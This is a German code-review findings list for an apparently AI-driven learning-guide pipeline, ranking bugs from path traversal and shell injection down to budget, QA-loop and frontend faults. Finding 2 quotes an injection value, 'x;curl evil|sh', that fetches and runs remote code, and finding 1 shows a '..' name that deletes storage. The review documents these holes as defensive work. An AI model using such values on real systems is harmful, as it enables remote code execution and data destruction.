147 lines
9.4 KiB
Markdown
147 lines
9.4 KiB
Markdown
# Review-Befunde 2026-07-12
|
||
|
||
Gründliche Prüfung durch 5 parallele Reviews (E0/E1, E2/E3, E4+QA-Loop, Infra, Frontend).
|
||
Alle Hoch-Funde am Code nachverifiziert. Zeilennummern = Stand Arbeitskopie.
|
||
|
||
## Hoch
|
||
|
||
1. **pipeline.py:104 / main.py:93 — Pfad-Traversal beim Topic-Namen.**
|
||
`topic_anlegen` prüft nur „nicht leer“. Name `..` → `DELETE /api/topics/..` läuft in
|
||
`shutil.rmtree(KORPUS_DIR / topic)` → löscht `storage/` komplett inkl. SQLite-DB.
|
||
Namen mit `/` schreiben Snapshots außerhalb von `storage/korpus/`.
|
||
|
||
2. **main.py:180 + Makefile:43 — Shell-Injektion über Transfer.**
|
||
`make server-push TOPIC=<name>` interpoliert den Namen unquotiert in Shell-Rezepte
|
||
(rsync/ssh-Zeilen). Topic `x;curl evil|sh` → Kommando-Ausführung.
|
||
|
||
3. **inventar.py:44 — Resume verliert Quell-Abschnitte still.**
|
||
Pause/Budget-Stopp mitten in der Extraktion: einige Reader haben schon Atome verankert.
|
||
Beim Resume greift der Idempotenz-Guard (`schon and not force`) und setzt die Quelle
|
||
auf `atome` — die restlichen Abschnitte werden nie gelesen. QA merkt es nur, wenn ein
|
||
ganzer Soll-Punkt leer bleibt.
|
||
|
||
4. **artefakte.py:49 — `nur_ohne`-Filter blockiert Flashcard-Nachgenerierung.**
|
||
Filter = „hat irgendein lebendes Artefakt“. Atom mit lebendem Beispiel, aber ohne
|
||
Flashcard wird nie nachgeneriert → Invariante „≥1 verifizierte Flashcard“ unerfüllbar,
|
||
`atom_ohne_flashcard` bleibt offen, Loop dreht 10 wirkungslose Iterationen.
|
||
|
||
5. **guide.py:295 — Mathe-Checks laufen über Marker-Zeilen.**
|
||
`_mathe_auftraege(lang, …)` bekommt den ungestrippten Text (nur `_stil_auftraege`
|
||
strippt Marker). Atom-Titel wie `a_n` oder `A*-Suche` im Marker erzeugen Aufträge,
|
||
die der Fix nie beheben darf (Marker sind unantastbar) → unfixierbarer `det_check`
|
||
in jeder QA-Runde, Note bleibt <10, Loop brennt bis Limit.
|
||
|
||
6. **qa.py:68 — Befund-Dedup verliert Details.**
|
||
`_persistieren` dedupliziert über `(art, item)` ohne `detail`. Mehrere `det_check`-
|
||
Befunde derselben Section kollabieren: alte (schon behobene) Details bleiben „offen“,
|
||
neue Details werden nie eingefügt → der Fix bekommt veraltete Aufträge, Konvergenz
|
||
scheitert.
|
||
|
||
7. **agents.py:257 — CLI-Prozess-Leak bei Cancellation.**
|
||
`_spawn` killt nur bei `TimeoutError`. Der Hedge (llm.py:71) cancelt den Verlierer-Task:
|
||
`CancelledError` trifft `communicate()`, kein Kill, und das `finally` entfernt den
|
||
Prozess aus `_prozesse` → Zombie-Prozess rechnet weiter, Tokens ohne Ledger-Zeile,
|
||
für Stop/Pause unerreichbar.
|
||
|
||
8. **guide.py:380 — gescheiterte Fixes passieren das Gate.**
|
||
Nach Fix-Fehlschlag bleiben die Aufträge in `sections.befunde`, aber niemand außer
|
||
`_stage_fix` liest diese Spalte — entgegen dem Kommentar „die Ebenen-QA muss sie
|
||
sehen“. Kritische Coverage-Lücken (z. B. „Atom-Inhalt fehlt“) können mit Note 10,0
|
||
fertig gemeldet werden.
|
||
|
||
9. **Guide.vue:54/124 — Level-Toggle-Sackgasse.**
|
||
`levels` zählt Kapitel-Level unabhängig vom Section-Inhalt; `anzeige` filtert leere
|
||
Sections weg; bei `anzeige.length === 0` verschwindet die Nav samt Toggle.
|
||
Mitten in E4 (M-Kapitel ohne Text): Toggle E→M → „Noch kein Guide generiert“,
|
||
kein Weg zurück außer Reload.
|
||
|
||
## Mittel
|
||
|
||
### Budget / Ledger / Nebenläufigkeit
|
||
- **llm.py:63** — Hedge-Zwilling: nur die Tokens des Gewinners landen in `events`/Budget.
|
||
Verlierer-Tokens (bis 32k) unsichtbar. Verletzt „jeder Call → Ledger-Zeile“.
|
||
- **llm.py:65** — Timeout des Haupt-Calls bricht die Hedge-Schleife ab und cancelt den
|
||
fast fertigen Zwilling → Call zählt als infra, obwohl der Hedge geliefert hätte.
|
||
- **llm.py:120** — Budget wird nur nach Call-Ende geprüft, nie vor Start: parallele
|
||
Wellen überschreiten das „harte“ Limit um in-flight × Call-Tokens.
|
||
- **llm.py:155 `panel`, struktur.py:77, guide.py:426/434/579, artefakte.py:144** —
|
||
bare `asyncio.gather` statt `llm.alle`: bei LaufPause/Budget laufen Geschwister-Tasks
|
||
weiter, schreiben Zustand und ziehen Tokens (genau der in llm.py dokumentierte Hazard).
|
||
- **agents.py:161** — API-Pfad prüft nach `_api_slot()` keinen Abbruch: pausierte Läufe
|
||
feuern wartende API-Calls trotzdem ab.
|
||
- **agents.py:311** — opencode-Timeout: Tokens wurden erzeugt, aber mit 0 geloggt.
|
||
|
||
### Panels / destruktive Entscheide (fail-open statt fail-closed)
|
||
- **inventar.py:474/499** — `_soll_stichentscheid`/`_luecke_schliessen`: eine einzelne
|
||
überlebende Panel-Stimme gilt als „einstimmig“ → Atom verworfen / Soll freigesprochen
|
||
auf Basis EINES Richters (chunk_urteil macht es richtig).
|
||
- **inventar.py:456** — `_anker_fixen_batch` verwirft Atome auch dann, wenn der
|
||
zuständige Batch-Call ausfiel (None ≠ negatives Urteil).
|
||
- **artefakte.py:130** — Re-Verify nach Fix: unparsbare Antwort / ausgelassene id →
|
||
Artefakt endgültig verworfen (Panel-Ausfall behält, Fix-Ausfall vernichtet).
|
||
|
||
### Korpus / Soll
|
||
- **korpus.py:270 + 406** — `_konsens` löscht bestätigte Zeilen und baut aus Kandidaten
|
||
neu: nachgesuchte Belege und der `geprueft`-Negativ-Cache gehen verloren → bezahlte
|
||
Beleg-Judges wiederholen sich.
|
||
- **korpus.py:368/388** — Judge sieht nur `text[:40k]`, Nicht-Fund wird aber für die
|
||
GANZE Quelle als `geprueft` verbucht → Belege jenseits 40k dauerhaft unauffindbar,
|
||
Punkt wird ggf. fälschlich degradiert.
|
||
- **korpus.py:161** — Soll-Extraktion hat nur Quellen-Granularität: Pause zwischen
|
||
Chunks → Resume extrahiert alles neu → doppelte Kandidaten blähen das √n-Band auf.
|
||
- **korpus.py:333/416** — uni-Topics ohne bestätigten Soll-Punkt: kein Repair-Pfad für
|
||
`soll_leer`, Pipeline setzt trotzdem `korpus_fertig` → E1 verwirft Atome kaskadenartig.
|
||
|
||
### Struktur
|
||
- **struktur.py:251** — Split schneidet `ceil`-Chunks: 43 Atome → Teile 8,8,8,8,8,3;
|
||
letzter Teil kann Band 4–8 verletzen, Repair reproduziert identisch → Befund ewig offen.
|
||
- **struktur.py:479** — `band`-Partnerprüfung misst gegen POST-Split-Bausteine, der
|
||
Merge lief aber PRE-Split → QA fordert eine Latte, die der Schnitt nicht erreichen kann.
|
||
|
||
### Guide / QA-Loop
|
||
- **guide.py:553** — `qa_hash` wird vor der Fachlich-falsch-Prüfung persistiert:
|
||
scheitert der Verdachts-Call, gilt die Section dauerhaft als geprüft (fail-open).
|
||
- **guide.py:544** — `offene_falsch` ist run-gescoped, `qa_hash` nicht: nach Pause/Resume
|
||
verschwinden bestätigte Fakten-Fehler aus der QA.
|
||
- **guide.py:596** — KRITISCH-Routing wirft das Befund-Detail weg: der bestätigte Claim
|
||
erreicht weder Prüfer noch Fix → Ping-Pong bis Limit.
|
||
- **guide.py:607 + auto_loop.py:24** — `bewegt = bool(betroffen)`: Guide-Ebene meldet
|
||
immer „bewegt“ → Stillstands-Erkennung unerreichbar, Loop läuft immer bis 10.
|
||
- **guide.py:265/329** — Vorwärtsverweis: Auftrag erlaubt „erklären“, Detektor prüft
|
||
nur Titel-Präsenz → instruktionskonformer Fix schließt den Befund nie.
|
||
- **guide.py:190** — Englisch-Heuristik: deutsche Homographen („an“, „will“, „not“),
|
||
Schwelle 15 % ab 12 Tokens → deutsche Sätze werden als „englische Passage“ geflaggt,
|
||
Auftrag unerfüllbar.
|
||
|
||
### Frontend
|
||
- **api.js:13** — Topic-Namen ohne `encodeURIComponent` in URL-Pfaden: `#`/`/` im Namen
|
||
→ Topic per UI unbenutzbar und unlöschbar.
|
||
- **Guide.vue:19** — `laden()` ohne Out-of-order-Schutz: langsame Antwort von Topic A
|
||
überschreibt die Anzeige von Topic B.
|
||
- **Guide.vue:77** — Level-/Ansicht-Wechsel resettet Scrollposition nicht: Viewport
|
||
landet in Platzhalter-Divs, Seite wirkt leer.
|
||
- **api.js:51** — WS-Cleanup entfernt `onclose` nicht: Zombie-Reconnect nach 2 s,
|
||
doppelte State-Loads (v. a. bei Vite-HMR).
|
||
- **Ueben.vue:19** — Doppelklick auf „Richtig“: Karte doppelt gePOSTet (Leitner-Box
|
||
springt 2 Stufen), Folgekarte fällt still aus dem Stapel.
|
||
|
||
## Niedrig (Auswahl)
|
||
|
||
- **pipeline.py:63 u. a.** — `runs.beendet='jetzt'` (Literal-String statt Timestamp).
|
||
- **ledger.py:58** — Kennzahlen zählen `status='timeout'`, llm schreibt aber `infra` → Spalte konstant 0.
|
||
- **config.py:13** — `CREATOR_DB` wird vor `_load_env()` gelesen: .env-Wert wirkungslos.
|
||
- **jsonx.py:14** — nur der ERSTE Code-Fence wird geparst; JSON nach einem Prosa-Fence geht verloren.
|
||
- **transfer.py:122** — `sections.befunde` (Fix-Aufträge mit Atom-IDs) wird beim Import nicht remapped.
|
||
- **ws.py:31** — jeder Push spawnt eigenen Send-Task: Out-of-order-Deltas, parallele `send_text`.
|
||
- **inventar.py:493** — Lücken-„Runden“ zählen Ledger-Events: Retries + Alt-Läufe zählen mit → Abbruch zu früh.
|
||
- **inventar.py:147** — Anker-Dedup: geerbte Anker im selben Pass nicht berücksichtigt → transitive Dublette überlebt.
|
||
- **inventar.py:352** — `quelle_unvollstaendig`-Repair meldet immer True → Stillstand nie erkannt.
|
||
- **guide.py:53** — `_MARKER_VOLL` bricht bei `>` im Atom-Titel.
|
||
- **guide.py:449** — `_pruefe_dich` matcht Frage per Substring: Umformulierung durch Fix → Antwort fehlt still.
|
||
- **guide.py:461** — Bausteine ohne Kapitel: NULL-Gruppen erben Level des ersten Bausteins, doppelte `null`-Keys in Vue.
|
||
- **struktur.py:77 / artefakte.py:144** — s. gather-Sammelpunkt oben.
|
||
- **markdown.js:57** — `lesestat` ignoriert `\[…\]`-Formeln → Lesezeit falsch.
|
||
- **style.css:225** — KaTeX-Overflow-Regeln fehlen für die Kompakt-Ansicht (mobil).
|
||
- **Kennzahlen.vue:8** — Topic-Wechsel ohne Lauf: alte Daten bleiben stehen.
|
||
- **App.vue:93 / Board.vue:99** — `stoppen()`/Menü-Aktionen ohne try/catch: Fehler unsichtbar.
|